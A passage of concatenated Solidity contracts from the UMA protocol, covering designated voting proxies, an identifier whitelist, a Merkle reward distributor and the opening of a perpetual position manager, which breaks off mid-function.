// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/MultiRole.sol";
import "../../common/implementation/Withdrawable.sol";
import "../interfaces/VotingAncillaryInterface.sol";
import "../interfaces/FinderInterface.sol";
import "./Constants.sol";
/**
* @title Proxy to allow voting from another address.
* @dev Allows a UMA token holder to designate another address to vote on their behalf.
* Each voter must deploy their own instance of this contract.
*/
contract DesignatedVoting is Withdrawable {
/****************************************
* INTERNAL VARIABLES AND STORAGE *
****************************************/
enum Roles {
Owner, // Can set the Voter role. Is also permanently permissioned as the minter role.
Voter // Can vote through this contract.
}
// Reference to the UMA Finder contract, allowing Voting upgrades to be performed
// without requiring any calls to this contract.
FinderInterface private finder;
/**
* @notice Construct the DesignatedVoting contract.
* @param finderAddress keeps track of all contracts within the system based on their interfaceName.
* @param ownerAddress address of the owner of the DesignatedVoting contract.
* @param voterAddress address to which the owner has delegated their voting power.
*/
constructor(
address finderAddress,
address ownerAddress,
address voterAddress
) public {
_createExclusiveRole(uint256(Roles.Owner), uint256(Roles.Owner), ownerAddress);
_createExclusiveRole(uint256(Roles.Voter), uint256(Roles.Owner), voterAddress);
_setWithdrawRole(uint256(Roles.Owner));
finder = FinderInterface(finderAddress);
}
/****************************************
* VOTING AND REWARD FUNCTIONALITY *
****************************************/
/**
* @notice Forwards a commit to Voting.
* @param identifier uniquely identifies the feed for this vote. EG BTC/USD price pair.
* @param time specifies the unix timestamp of the price being voted on.
* @param hash the keccak256 hash of the price you want to vote for and a random integer salt value.
*/
function commitVote(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData,
bytes32 hash
) external onlyRoleHolder(uint256(Roles.Voter)) {
_getVotingAddress().commitVote(identifier, time, ancillaryData, hash);
}
/**
* @notice Forwards a batch commit to Voting.
* @param commits struct to encapsulate an `identifier`, `time`, `hash` and optional `encryptedVote`.
*/
function batchCommit(VotingAncillaryInterface.CommitmentAncillary[] calldata commits)
external
onlyRoleHolder(uint256(Roles.Voter))
{
_getVotingAddress().batchCommit(commits);
}
/**
* @notice Forwards a reveal to Voting.
* @param identifier voted on in the commit phase. EG BTC/USD price pair.
* @param time specifies the unix timestamp of the price being voted on.
* @param price used along with the `salt` to produce the `hash` during the commit phase.
* @param salt used along with the `price` to produce the `hash` during the commit phase.
*/
function revealVote(
bytes32 identifier,
uint256 time,
int256 price,
bytes memory ancillaryData,
int256 salt
) external onlyRoleHolder(uint256(Roles.Voter)) {
_getVotingAddress().revealVote(identifier, time, price, ancillaryData, salt);
}
/**
* @notice Forwards a batch reveal to Voting.
* @param reveals is an array of the Reveal struct which contains an identifier, time, price and salt.
*/
function batchReveal(VotingAncillaryInterface.RevealAncillary[] calldata reveals)
external
onlyRoleHolder(uint256(Roles.Voter))
{
_getVotingAddress().batchReveal(reveals);
}
/**
* @notice Forwards a reward retrieval to Voting.
* @dev Rewards are added to the tokens already held by this contract.
* @param roundId defines the round from which voting rewards will be retrieved from.
* @param toRetrieve an array of PendingRequests which rewards are retrieved from.
* @return amount of rewards that the user should receive.
*/
function retrieveRewards(uint256 roundId, VotingAncillaryInterface.PendingRequestAncillary[] memory toRetrieve)
public
onlyRoleHolder(uint256(Roles.Voter))
returns (FixedPoint.Unsigned memory)
{
return _getVotingAddress().retrieveRewards(address(this), roundId, toRetrieve);
}
function _getVotingAddress() private view returns (VotingAncillaryInterface) {
return VotingAncillaryInterface(finder.getImplementationAddress(OracleInterfaces.Oracle));
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/Withdrawable.sol";
import "./DesignatedVoting.sol";
/**
* @title Factory to deploy new instances of DesignatedVoting and look up previously deployed instances.
* @dev Allows off-chain infrastructure to look up a hot wallet's deployed DesignatedVoting contract.
*/
contract DesignatedVotingFactory is Withdrawable {
/****************************************
* INTERNAL VARIABLES AND STORAGE *
****************************************/
enum Roles {
Withdrawer // Can withdraw any ETH or ERC20 sent accidentally to this contract.
}
address private finder;
mapping(address => DesignatedVoting) public designatedVotingContracts;
/**
* @notice Construct the DesignatedVotingFactory contract.
* @param finderAddress keeps track of all contracts within the system based on their interfaceName.
*/
constructor(address finderAddress) public {
finder = finderAddress;
_createWithdrawRole(uint256(Roles.Withdrawer), uint256(Roles.Withdrawer), msg.sender);
}
/**
* @notice Deploys a new `DesignatedVoting` contract.
* @param ownerAddress defines who will own the deployed instance of the designatedVoting contract.
* @return designatedVoting a new DesignatedVoting contract.
*/
function newDesignatedVoting(address ownerAddress) external returns (DesignatedVoting) {
DesignatedVoting designatedVoting = new DesignatedVoting(finder, ownerAddress, msg.sender);
designatedVotingContracts[msg.sender] = designatedVoting;
return designatedVoting;
}
/**
* @notice Associates a `DesignatedVoting` instance with `msg.sender`.
* @param designatedVotingAddress address to designate voting to.
* @dev This is generally only used if the owner of a `DesignatedVoting` contract changes their `voter`
* address and wants that reflected here.
*/
function setDesignatedVoting(address designatedVotingAddress) external {
designatedVotingContracts[msg.sender] = DesignatedVoting(designatedVotingAddress);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "../implementation/Withdrawable.sol";
// WithdrawableTest is derived from the abstract contract Withdrawable for testing purposes.
contract WithdrawableTest is Withdrawable {
enum Roles { Governance, Withdraw }
// solhint-disable-next-line no-empty-blocks
constructor() public {
_createExclusiveRole(uint256(Roles.Governance), uint256(Roles.Governance), msg.sender);
_createWithdrawRole(uint256(Roles.Withdraw), uint256(Roles.Governance), msg.sender);
}
function pay() external payable {
require(msg.value > 0);
}
function setInternalWithdrawRole(uint256 setRoleId) public {
_setWithdrawRole(setRoleId);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
/**
* @title An implementation of ERC20 with the same interface as the Compound project's testnet tokens (mainly DAI)
* @dev This contract can be deployed or the interface can be used to communicate with Compound's ERC20 tokens. Note:
* this token should never be used to store real value since it allows permissionless minting.
*/
contract TestnetERC20 is ERC20 {
/**
* @notice Constructs the TestnetERC20.
* @param _name The name which describes the new token.
* @param _symbol The ticker abbreviation of the name. Ideally < 5 chars.
* @param _decimals The number of decimals to define token precision.
*/
constructor(
string memory _name,
string memory _symbol,
uint8 _decimals
) public ERC20(_name, _symbol) {
_setupDecimals(_decimals);
}
// Sample token information.
/**
* @notice Mints value tokens to the owner address.
* @param ownerAddress the address to mint to.
* @param value the amount of tokens to mint.
*/
function allocateTo(address ownerAddress, uint256 value) external {
_mint(ownerAddress, value);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "../interfaces/IdentifierWhitelistInterface.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
/**
* @title Stores a whitelist of supported identifiers that the oracle can provide prices for.
*/
contract IdentifierWhitelist is IdentifierWhitelistInterface, Ownable {
/****************************************
* INTERNAL VARIABLES AND STORAGE *
****************************************/
mapping(bytes32 => bool) private supportedIdentifiers;
/****************************************
* EVENTS *
****************************************/
event SupportedIdentifierAdded(bytes32 indexed identifier);
event SupportedIdentifierRemoved(bytes32 indexed identifier);
/****************************************
* ADMIN STATE MODIFYING FUNCTIONS *
****************************************/
/**
* @notice Adds the provided identifier as a supported identifier.
* @dev Price requests using this identifier will succeed after this call.
* @param identifier unique UTF-8 representation for the feed being added. Eg: BTC/USD.
*/
function addSupportedIdentifier(bytes32 identifier) external override onlyOwner {
if (!supportedIdentifiers[identifier]) {
supportedIdentifiers[identifier] = true;
emit SupportedIdentifierAdded(identifier);
}
}
/**
* @notice Removes the identifier from the whitelist.
* @dev Price requests using this identifier will no longer succeed after this call.
* @param identifier unique UTF-8 representation for the feed being removed. Eg: BTC/USD.
*/
function removeSupportedIdentifier(bytes32 identifier) external override onlyOwner {
if (supportedIdentifiers[identifier]) {
supportedIdentifiers[identifier] = false;
emit SupportedIdentifierRemoved(identifier);
}
}
/****************************************
* WHITELIST GETTERS FUNCTIONS *
****************************************/
/**
* @notice Checks whether an identifier is on the whitelist.
* @param identifier unique UTF-8 representation for the feed being queried. Eg: BTC/USD.
* @return bool if the identifier is supported (or not).
*/
function isIdentifierSupported(bytes32 identifier) external view override returns (bool) {
return supportedIdentifiers[identifier];
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "../interfaces/AdministrateeInterface.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
/**
* @title Admin for financial contracts in the UMA system.
* @dev Allows appropriately permissioned admin roles to interact with financial contracts.
*/
contract FinancialContractsAdmin is Ownable {
/**
* @notice Calls emergency shutdown on the provided financial contract.
* @param financialContract address of the FinancialContract to be shut down.
*/
function callEmergencyShutdown(address financialContract) external onlyOwner {
AdministrateeInterface administratee = AdministrateeInterface(financialContract);
administratee.emergencyShutdown();
}
/**
* @notice Calls remargin on the provided financial contract.
* @param financialContract address of the FinancialContract to be remargined.
*/
function callRemargin(address financialContract) external onlyOwner {
AdministrateeInterface administratee = AdministrateeInterface(financialContract);
administratee.remargin();
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../interfaces/AdministrateeInterface.sol";
// A mock implementation of AdministrateeInterface, taking the place of a financial contract.
contract MockAdministratee is AdministrateeInterface {
uint256 public timesRemargined;
uint256 public timesEmergencyShutdown;
function remargin() external override {
timesRemargined++;
}
function emergencyShutdown() external override {
timesEmergencyShutdown++;
}
function pfc() external view override returns (FixedPoint.Unsigned memory) {
return FixedPoint.fromUnscaledUint(0);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/**
* Inspired by:
* - https://github.com/pie-dao/vested-token-migration-app
* - https://github.com/Uniswap/merkle-distributor
* - https://github.com/balancer-labs/erc20-redeemable
*
* @title MerkleDistributor contract.
* @notice Allows an owner to distribute any reward ERC20 to claimants according to Merkle roots. The owner can specify
* multiple Merkle roots distributions with customized reward currencies.
* @dev The Merkle trees are not validated in any way, so the system assumes the contract owner behaves honestly.
*/
contract MerkleDistributor is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// A Window maps a Merkle root to a reward token address.
struct Window {
// Merkle root describing the distribution.
bytes32 merkleRoot;
// Currency in which reward is processed.
IERC20 rewardToken;
// IPFS hash of the merkle tree. Can be used to independently fetch recipient proofs and tree. Note that the canonical
// data type for storing an IPFS hash is a multihash which is the concatenation of <varint hash function code>
// <varint digest size in bytes><hash function output>. We opted to store this in a string type to make it easier
// for users to query the ipfs data without needing to reconstruct the multihash. to view the IPFS data simply
// go to https://cloudflare-ipfs.com/ipfs/<IPFS-HASH>.
string ipfsHash;
}
// Represents an account's claim for `amount` within the Merkle root located at the `windowIndex`.
struct Claim {
uint256 windowIndex;
uint256 amount;
uint256 accountIndex; // Used only for bitmap. Assumed to be unique for each claim.
address account;
bytes32[] merkleProof;
}
// Windows are mapped to arbitrary indices.
mapping(uint256 => Window) public merkleWindows;
// Index of next created Merkle root.
uint256 public nextCreatedIndex;
// Track which accounts have claimed for each window index.
// Note: uses a packed array of bools for gas optimization on tracking certain claims. Copied from Uniswap's contract.
mapping(uint256 => mapping(uint256 => uint256)) private claimedBitMap;
/****************************************
* EVENTS
****************************************/
event Claimed(
address indexed caller,
uint256 windowIndex,
address indexed account,
uint256 accountIndex,
uint256 amount,
address indexed rewardToken
);
event CreatedWindow(
uint256 indexed windowIndex,
uint256 rewardsDeposited,
address indexed rewardToken,
address owner
);
event WithdrawRewards(address indexed owner, uint256 amount, address indexed currency);
event DeleteWindow(uint256 indexed windowIndex, address owner);
/****************************
* ADMIN FUNCTIONS
****************************/
/**
* @notice Set merkle root for the next available window index and seed allocations.
* @notice Callable only by owner of this contract. Caller must have approved this contract to transfer
* `rewardsToDeposit` amount of `rewardToken` or this call will fail. Importantly, we assume that the
* owner of this contract correctly chooses an amount `rewardsToDeposit` that is sufficient to cover all
* claims within the `merkleRoot`. Otherwise, a race condition can be created. This situation can occur
* because we do not segregate reward balances by window, for code simplicity purposes.
* (If `rewardsToDeposit` is purposefully insufficient to payout all claims, then the admin must
* subsequently transfer in rewards or the following situation can occur).
* Example race situation:
* - Window 1 Tree: Owner sets `rewardsToDeposit=100` and insert proofs that give claimant A 50 tokens and
* claimant B 51 tokens. The owner has made an error by not setting the `rewardsToDeposit` correctly to 101.
* - Window 2 Tree: Owner sets `rewardsToDeposit=1` and insert proofs that give claimant A 1 token. The owner
* correctly set `rewardsToDeposit` this time.
* - At this point contract owns 100 + 1 = 101 tokens. Now, imagine the following sequence:
* (1) Claimant A claims 50 tokens for Window 1, contract now has 101 - 50 = 51 tokens.
* (2) Claimant B claims 51 tokens for Window 1, contract now has 51 - 51 = 0 tokens.
* (3) Claimant A tries to claim 1 token for Window 2 but fails because contract has 0 tokens.
* - In summary, the contract owner created a race for step(2) and step(3) in which the first claim would
* succeed and the second claim would fail, even though both claimants would expect their claims to succeed.
* @param rewardsToDeposit amount of rewards to deposit to seed this allocation.
* @param rewardToken ERC20 reward token.
* @param merkleRoot merkle root describing allocation.
* @param ipfsHash hash of IPFS object, conveniently stored for clients
*/
function setWindow(
uint256 rewardsToDeposit,
address rewardToken,
bytes32 merkleRoot,
string memory ipfsHash
) external onlyOwner {
uint256 indexToSet = nextCreatedIndex;
nextCreatedIndex = indexToSet.add(1);
_setWindow(indexToSet, rewardsToDeposit, rewardToken, merkleRoot, ipfsHash);
}
/**
* @notice Delete merkle root at window index.
* @dev Callable only by owner. Likely to be followed by a withdrawRewards call to clear contract state.
* @param windowIndex merkle root index to delete.
*/
function deleteWindow(uint256 windowIndex) external onlyOwner {
delete merkleWindows[windowIndex];
emit DeleteWindow(windowIndex, msg.sender);
}
/**
* @notice Emergency method that transfers rewards out of the contract if the contract was configured improperly.
* @dev Callable only by owner.
* @param rewardCurrency rewards to withdraw from contract.
* @param amount amount of rewards to withdraw.
*/
function withdrawRewards(address rewardCurrency, uint256 amount) external onlyOwner {
IERC20(rewardCurrency).safeTransfer(msg.sender, amount);
emit WithdrawRewards(msg.sender, amount, rewardCurrency);
}
/****************************
* NON-ADMIN FUNCTIONS
****************************/
/**
* @notice Batch claims to reduce gas versus individual submitting all claims. Method will fail
* if any individual claims within the batch would fail.
* @dev Optimistically tries to batch together consecutive claims for the same account and same
* reward token to reduce gas. Therefore, the most gas-cost-optimal way to use this method
* is to pass in an array of claims sorted by account and reward currency.
* @param claims array of claims to claim.
*/
function claimMulti(Claim[] memory claims) external {
uint256 batchedAmount = 0;
uint256 claimCount = claims.length;
for (uint256 i = 0; i < claimCount; i++) {
Claim memory _claim = claims[i];
_verifyAndMarkClaimed(_claim);
batchedAmount = batchedAmount.add(_claim.amount);
// If the next claim is NOT the same account or the same token (or this claim is the last one),
// then disburse the `batchedAmount` to the current claim's account for the current claim's reward token.
uint256 nextI = i + 1;
address currentRewardToken = address(merkleWindows[_claim.windowIndex].rewardToken);
if (
nextI == claimCount ||
// This claim is last claim.
claims[nextI].account != _claim.account ||
// Next claim account is different than current one.
address(merkleWindows[claims[nextI].windowIndex].rewardToken) != currentRewardToken
// Next claim reward token is different than current one.
) {
IERC20(currentRewardToken).safeTransfer(_claim.account, batchedAmount);
batchedAmount = 0;
}
}
}
/**
* @notice Claim amount of reward tokens for account, as described by Claim input object.
* @dev If the `_claim`'s `amount`, `accountIndex`, and `account` do not exactly match the
* values stored in the merkle root for the `_claim`'s `windowIndex` this method
* will revert.
* @param _claim claim object describing amount, accountIndex, account, window index, and merkle proof.
*/
function claim(Claim memory _claim) public {
_verifyAndMarkClaimed(_claim);
merkleWindows[_claim.windowIndex].rewardToken.safeTransfer(_claim.account, _claim.amount);
}
/**
* @notice Returns True if the claim for `accountIndex` has already been completed for the Merkle root at
* `windowIndex`.
* @dev This method will only work as intended if all `accountIndex`'s are unique for a given `windowIndex`.
* The onus is on the Owner of this contract to submit only valid Merkle roots.
* @param windowIndex merkle root to check.
* @param accountIndex account index to check within window index.
* @return True if claim has been executed already, False otherwise.
*/
function isClaimed(uint256 windowIndex, uint256 accountIndex) public view returns (bool) {
uint256 claimedWordIndex = accountIndex / 256;
uint256 claimedBitIndex = accountIndex % 256;
uint256 claimedWord = claimedBitMap[windowIndex][claimedWordIndex];
uint256 mask = (1 << claimedBitIndex);
return claimedWord & mask == mask;
}
/**
* @notice Returns True if leaf described by {account, amount, accountIndex} is stored in Merkle root at given
* window index.
* @param _claim claim object describing amount, accountIndex, account, window index, and merkle proof.
* @return valid True if leaf exists.
*/
function verifyClaim(Claim memory _claim) public view returns (bool valid) {
bytes32 leaf = keccak256(abi.encodePacked(_claim.account, _claim.amount, _claim.accountIndex));
return MerkleProof.verify(_claim.merkleProof, merkleWindows[_claim.windowIndex].merkleRoot, leaf);
}
/****************************
* PRIVATE FUNCTIONS
****************************/
// Mark claim as completed for `accountIndex` for Merkle root at `windowIndex`.
function _setClaimed(uint256 windowIndex, uint256 accountIndex) private {
uint256 claimedWordIndex = accountIndex / 256;
uint256 claimedBitIndex = accountIndex % 256;
claimedBitMap[windowIndex][claimedWordIndex] =
claimedBitMap[windowIndex][claimedWordIndex] |
(1 << claimedBitIndex);
}
// Store new Merkle root at `windowindex`. Pull `rewardsDeposited` from caller to seed distribution for this root.
function _setWindow(
uint256 windowIndex,
uint256 rewardsDeposited,
address rewardToken,
bytes32 merkleRoot,
string memory ipfsHash
) private {
Window storage window = merkleWindows[windowIndex];
window.merkleRoot = merkleRoot;
window.rewardToken = IERC20(rewardToken);
window.ipfsHash = ipfsHash;
emit CreatedWindow(windowIndex, rewardsDeposited, rewardToken, msg.sender);
window.rewardToken.safeTransferFrom(msg.sender, address(this), rewardsDeposited);
}
// Verify claim is valid and mark it as completed in this contract.
function _verifyAndMarkClaimed(Claim memory _claim) private {
// Check claimed proof against merkle window at given index.
require(verifyClaim(_claim), "Incorrect merkle proof");
// Check the account has not yet claimed for this window.
require(!isClaimed(_claim.windowIndex, _claim.accountIndex), "Account has already claimed for this window");
// Proof is correct and claim has not occurred yet, mark claimed complete.
_setClaimed(_claim.windowIndex, _claim.accountIndex);
emit Claimed(
msg.sender,
_claim.windowIndex,
_claim.account,
_claim.accountIndex,
_claim.amount,
address(merkleWindows[_claim.windowIndex].rewardToken)
);
}
}
pragma solidity ^0.6.0;
/**
* @dev These functions deal with verification of Merkle trees (hash trees),
*/
library MerkleProof {
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*/
function verify(bytes32[] memory proof, bytes32 root, bytes32 leaf) internal pure returns (bool) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
} else {
// Hash(current element of the proof + current computed hash)
computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
}
}
// Check if the computed hash (root) is equal to the provided root
return computedHash == root;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "../../common/implementation/FixedPoint.sol";
import "../../common/interfaces/ExpandedIERC20.sol";
import "../../oracle/interfaces/OracleInterface.sol";
import "../../oracle/interfaces/IdentifierWhitelistInterface.sol";
import "../../oracle/implementation/Constants.sol";
import "../common/FundingRateApplier.sol";
/**
* @title Financial contract with priceless position management.
* @notice Handles positions for multiple sponsors in an optimistic (i.e., priceless) way without relying
* on a price feed. On construction, deploys a new ERC20, managed by this contract, that is the synthetic token.
*/
contract PerpetualPositionManager is FundingRateApplier {
using SafeMath for uint256;
using FixedPoint for FixedPoint.Unsigned;
using SafeERC20 for IERC20;
using SafeERC20 for ExpandedIERC20;
/****************************************
* PRICELESS POSITION DATA STRUCTURES *
****************************************/
// Represents a single sponsor's position. All collateral is held by this contract.
// This struct acts as bookkeeping for how much of that collateral is allocated to each sponsor.
struct PositionData {
FixedPoint.Unsigned tokensOutstanding;
// Tracks pending withdrawal requests. A withdrawal request is pending if `withdrawalRequestPassTimestamp != 0`.
uint256 withdrawalRequestPassTimestamp;
FixedPoint.Unsigned withdrawalRequestAmount;
// Raw collateral value. This value should never be accessed directly -- always use _getFeeAdjustedCollateral().
// To add or remove collateral, use _addCollateral() and _removeCollateral().
FixedPoint.Unsigned rawCollateral;
}
// Maps sponsor addresses to their positions. Each sponsor can have only one position.
mapping(address => PositionData) public positions;
// Keep track of the total collateral and tokens across all positions to enable calculating the
// global collateralization ratio without iterating over all positions.
FixedPoint.Unsigned public totalTokensOutstanding;
// Similar to the rawCollateral in PositionData, this value should not be used directly.
// _getFeeAdjustedCollateral(), _addCollateral() and _removeCollateral() must be used to access and adjust.
FixedPoint.Unsigned public rawTotalPositionCollateral;
// Synthetic token created by this contract.
ExpandedIERC20 public tokenCurrency;
// Unique identifier for DVM price feed ticker.
bytes32 public priceIdentifier;
// Time that has to elapse for a withdrawal request to be considered passed, if no liquidations occur.
// !!Note: The lower the withdrawal liveness value, the more risk incurred by the contract.
// Extremely low liveness values increase the chance that opportunistic invalid withdrawal requests
// expire without liquidation, thereby increasing the insolvency risk for the contract as a whole. An insolvent
// contract is extremely risky for any sponsor or synthetic token holder for the contract.
uint256 public withdrawalLiveness;
// Minimum number of tokens in a sponsor's position.
FixedPoint.Unsigned public minSponsorTokens;
// Expiry price pulled from the DVM in the case of an emergency shutdown.
FixedPoint.Unsigned public emergencyShutdownPrice;
/****************************************
* EVENTS *
****************************************/
event Deposit(address indexed sponsor, uint256 indexed collateralAmount);
event Withdrawal(address indexed sponsor, uint256 indexed collateralAmount);
event RequestWithdrawal(address indexed sponsor, uint256 indexed collateralAmount);
event RequestWithdrawalExecuted(address indexed sponsor, uint256 indexed collateralAmount);
event RequestWithdrawalCanceled(address indexed sponsor, uint256 indexed collateralAmount);
event PositionCreated(address indexed sponsor, uint256 indexed collateralAmount, uint256 indexed tokenAmount);
event NewSponsor(address indexed sponsor);
event EndedSponsorPosition(address indexed sponsor);
event Redeem(address indexed sponsor, uint256 indexed collateralAmount, uint256 indexed tokenAmount);
event Repay(address indexed sponsor, uint256 indexed numTokensRepaid, uint256 indexed newTokenCount);
event EmergencyShutdown(address indexed caller, uint256 shutdownTimestamp);
event SettleEmergencyShutdown(
address indexed caller,
uint256 indexed collateralReturned,
uint256 indexed tokensBurned
);
/****************************************
* MODIFIERS *
****************************************/
modifier onlyCollateralizedPosition(address sponsor) {
_onlyCollateralizedPosition(sponsor);
_;
}
modifier noPendingWithdrawal(address sponsor) {
_positionHasNoPendingWithdrawal(sponsor);
_;
}
/**
* @notice Construct the PerpetualPositionManager.
* @dev Deployer of this contract should consider carefully which parties have ability to mint and burn
* the synthetic tokens referenced by `_tokenAddress`. This contract's security assumes that no external accounts
* can mint new tokens, which could be used to steal all of this contract's locked collateral.
* We recommend to only use synthetic token contracts whose sole Owner role (the role capable of adding & removing roles)
* is assigned to this contract, whose sole Minter role is assigned to this contract, and whose
* total supply is 0 prior to construction of this contract.
* @param _withdrawalLiveness liveness delay, in seconds, for pending withdrawals.
* @param _collateralAddress ERC20 token used as collateral for all positions.
* @param _tokenAddress ERC20 token used as synthetic token.
* @param _finderAddress UMA protocol Finder used to discover other protocol contracts.
* @param _priceIdentifier registered in the DVM for the synthetic.
* @param _fundingRateIdentifier Unique identifier for DVM price feed ticker for child financial contract.
* @param _minSponsorTokens minimum number of tokens that must exist at any time in a position.
* @param _tokenScaling initial scaling to apply to the token value (i.e. scales the tracking index).
* @param _timerAddress Contract that stores the current time in a testing environment. Set to 0x0 for production.
*/
constructor(
uint256 _withdrawalLiveness,
address _collateralAddress,
address _tokenAddress,
address _finderAddress,
bytes32 _priceIdentifier,
bytes32 _fundingRateIdentifier,
FixedPoint.Unsigned memory _minSponsorTokens,
address _configStoreAddress,
FixedPoint.Unsigned memory _tokenScaling,
address _timerAddress
)
public
FundingRateApplier(
_fundingRateIdentifier,
_collateralAddress,
_finderAddress,
_configStoreAddress,
_tokenScaling,
_timerAddress
)
{
require(_getIdentifierWhitelist().isIdentifierSupported(_priceIdentifier));
withdrawalLiveness = _withdrawalLiveness;
tokenCurrency = ExpandedIERC20(_tokenAddress);
minSponsorTokens = _minSponsorTokens;
priceIdentifier = _priceIdentifier;
}
/****************************************
* POSITION FUNCTIONS *
****************************************/
/**
* @notice Transfers `collateralAmount` of `collateralCurrency` into the specified sponsor's position.
* @dev Increases the collateralization level of a position after creation. This contract must be approved to spend
* at least `collateralAmount` of `collateralCurrency`.
* @param sponsor the sponsor to credit the deposit to.
* @param collateralAmount total amount of collateral tokens to be sent to the sponsor's position.
*/
function depositTo(address sponsor, FixedPoint.Unsigned memory collateralAmount)
public
notEmergencyShutdown()
noPendingWithdrawal(sponsor)
fees()
nonReentrant()
{
require(collateralAmount.isGreaterThan(0));
PositionData storage positionData = _getPositionData(sponsor);
// Increase the position and global collateral balance by collateral amount.
_incrementCollateralBalances(positionData, collateralAmount);
emit Deposit(sponsor, collateralAmount.rawValue);
// Move collateral currency from sender to contract.
collateralCurrency.safeTransferFrom(msg.sender, address(this), collateralAmount.rawValue);
}
/**
* @notice Transfers `collateralAmount` of `collateralCurrency` into the caller's position.
* @dev Increases the collateralization level of a position after creation. This contract must be approved to spend
* at least `collateralAmount` of `collateralCurrency`.
* @param collateralAmount total amount of collateral tokens to be sent to the sponsor's position.
*/
function deposit(FixedPoint.Unsigned memory collateralAmount) public {
// This is just a thin wrapper over depositTo that specified the sender as the sponsor.
depositTo(msg.sender, collateralAmount);
}
/**
* @notice Transfers `collateralAmount` of `collateralCurrency` from the sponsor's position to the sponsor.
* @dev Reverts if the withdrawal puts this position's collateralization ratio below the global collateralization
* ratio. In that case, use `requestWithdrawal`. Might not withdraw the full requested amount to account for precision loss.
* @param collateralAmount is the amount of collateral to withdraw.
* @return amountWithdrawn The actual amount of collateral withdrawn.
*/
function withdraw(FixedPoint.Unsigned memory collateralAmount)
public
notEmergencyShutdown()
noPendingWithdrawal(msg.sender)
fees()
nonReentrant()
returns (FixedPoint.Unsigned memory amountWithdrawn)
{
require(collateralAmount.isGreaterThan(0));
PositionData storage positionData = _getPositionData(msg.sender);
// Decrement the sponsor's collateral and global collateral amounts. Check the GCR between decrement to ensure
// position remains above the GCR within the withdrawal. If this is not the case the caller must submit a request.
amountWithdrawn = _decrementCollateralBalancesCheckGCR(positionData, collateralAmount);
emit Withdrawal(msg.sender, amountWithdrawn.rawValue);
// Move collateral currency from contract to sender.
// Note: that we move the amount of collateral that is decreased from rawCollateral (inclusive of fees)
// instead of the user requested amount. This eliminates precision loss that could occur
// where the user withdraws more collateral than rawCollateral is decremented by.
collateralCurrency.safeTransfer(msg.sender, amountWithdrawn.rawValue);
}
/**
* @notice Starts a withdrawal request that, if passed, allows the sponsor to withdraw from their position.
* @dev The request will be pending for `withdrawalLiveness`, during which the position can be liquidated.
* @param collateralAmount the amount of collateral requested to withdraw
*/
function requestWithdrawal(FixedPoint.Unsigned memory collateralAmount)
public
notEmergencyShutdown()
noPendingWithdrawal(msg.sender)
nonReentrant()
{
PositionData storage positionData = _getPositionData(msg.sender);
require(
collateralAmount.isGreaterThan(0) &&
collateralAmount.isLessThanOrEqual(_getFeeAdjustedCollateral(positionData.rawCollateral))
);
// Update the position object for the user.
positionData.withdrawalRequestPassTimestamp = getCurrentTime().add(withdrawalLiveness);
positionData.withdrawalRequestAmount = collateralAmount;
emit RequestWithdrawal(msg.sender, collateralAmount.rawValue);
}
/**
* @notice After a passed withdrawal request (i.e., by a call to `requestWithdrawal` and waiting
* `withdrawalLiveness`), withdraws `positionData.withdrawalRequestAmount` of collateral currency.
* @dev Might not withdraw the full requested amount in order to account for precision loss or if the full requested
* amount exceeds the collateral in the position (due to paying fees).
* @return amountWithdrawn The actual amount of collateral withdrawn.
*/
function withdrawPassedRequest()
external
notEmergencyShutdown()
fees()
nonReentrant()
returns (FixedPoint.Unsigned memory amountWithdrawn)
{
PositionData storage positionData = _getPositionData(msg.sender);
require(
positionData.withdrawalRequestPassTimestamp != 0 &&
positionData.withdrawalRequestPassTimestamp <= getCurrentTime()
);
// If withdrawal request amount is > position collateral, then withdraw the full collateral amount.
// This situation is possible due to fees charged since the withdrawal was originally requested.
FixedPoint.Unsigned memory amountToWithdraw = positionData.withdrawalRequestAmount;
if (positionData.withdrawalRequestAmount.isGreaterThan(_getFeeAdjustedCollateral(positionData.rawCollateral))) {
amountToWithdraw = _getFeeAdjustedCollateral(positionData.rawCollateral);
}
// Decrement the sponsor's collateral and global collateral amounts.
amountWithdrawn = _decrementCollateralBalances(positionData, amountToWithdraw);
// Reset withdrawal request by setting withdrawal amount and withdrawal timestamp to 0.
_resetWithdrawalRequest(positionData);
// Transfer approved withdrawal amount from the contract to the caller.
collateralCurrency.safeTransfer(msg.sender, amountWithdrawn.rawValue);
emit RequestWithdrawalExecuted(msg.sender, amountWithdrawn.rawValue);
}
/**
* @notice Cancels a pending withdrawal request.
*/
function cancelWithdrawal() external notEmergencyShutdown() nonReentrant() {
PositionData storage positionData = _getPositionData(msg.sender);
